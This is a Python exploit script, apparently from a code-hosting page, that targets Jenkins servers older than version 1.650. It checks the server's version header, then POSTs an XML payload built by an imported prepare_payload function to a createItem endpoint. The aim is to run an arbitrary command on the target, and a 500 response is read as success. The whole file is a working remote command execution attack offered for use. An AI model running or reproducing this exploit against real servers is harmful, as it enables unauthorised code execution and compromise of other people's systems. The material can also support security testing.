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5d74062 Jul 31, 2017
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55 lines (50 sloc) 2.8 KB
import random
import string
from decimal import Decimal
import requests
from requests.exceptions import RequestException
from prepare_payload import prepare_payload
def exploit(url, command):
print(f'[*] STARTING')
try:
print(f'[+] Trying to exploit Jenkins running at address: {url}')
# Perform initial URL check to see if server is online and returns correct response code using HEAD request
headResponse = requests.head(url, timeout=30)
if headResponse.status_code == requests.codes.ok:
print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}')
# Check if X-Jenkins header containing version is present then proceed
jenkinsVersionHeader = headResponse.headers.get('X-Jenkins')
if jenkinsVersionHeader is not None:
# Strip version after second dot from header to perform conversion to Decimal
stripCharacter = "."
strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2])
# Perform basic version check
if Decimal(strippedVersion) < 1.650:
print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE')
# Prepare payload
payload = prepare_payload(command)
# Prepare POST url
randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8))
if url.endswith('/'):
postUrl = f'{url}createItem?name={randomJobName}'
else:
postUrl = f'{url}/createItem?name={randomJobName}'
print(f'[+] Will POST to {postUrl}')
# Try to execute passed command
postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'})
print(f'[+] Exploit launched ')
# 500 response code is ok here
print(f'[+] Response code: {postResponse.status_code} ')
if postResponse.status_code == 500:
print('[+] SUCCESS')
else:
print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED')
else:
print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable')
else:
print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}')
else:
print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}')
except RequestException as ex:
print(f'[-] [ERROR] Request exception: {ex}')
print('[*] FINISHED')